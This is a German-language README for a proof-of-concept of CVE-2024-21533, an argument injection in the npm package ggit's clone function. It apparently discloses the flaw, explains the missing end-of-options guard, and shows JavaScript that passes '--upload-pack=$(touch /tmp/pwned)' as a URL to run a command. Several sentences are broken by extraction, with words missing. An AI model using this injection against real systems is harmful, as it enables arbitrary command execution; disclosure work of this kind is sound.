
Proof-of-Concept-Exploit für CVE-2024-21533, eine Argumentinjektions-Schwachstelle im npm-Paket ggit, die eine beliebige Befehlsausführung über die Git-Option --upload-pack ermöglicht.
ggit beschreibt sich selbst als:
Local promise-returning git command wrappers
Ressourcen:
Artikel über diese Argument-Injection-Schwachstelle: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Ich melde eine Argument Injection-Schwachstelle im npm-Paket ggit.
Diese Schwachstelle tritt in der clone()-API der Bibliothek auf,
mit der die entfernte URL zum Klonen und das Zielverzeichnis auf der Festplatte angegeben werden können.
Allerdings bereinigt die Bibliothek keine Benutzereingaben oder validiert ein gegebenes URL-Schema,
noch übergibt sie korrekt Befehlszeilenflags an die -Binärdatei unter Verwendung der doppelten
POSIX-Zeichen (), um das Ende der Optionen zu kennzeichnen.
git--Dadurch können Benutzer eine Argument-Injection-Schwachstelle in Git ausnutzen, da die
Befehlszeilen-Option --upload-pack zur Ausführung beliebiger Befehle führt.
(outPath) zum Klonen und dann trifft die Schwachstelle zu.
[email protected] oder früherconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwned erstellt wurde.Bitte lesen Sie CONTRIBUTING für Richtlinien zur Mitarbeit an diesem Projekt.
Liran Tal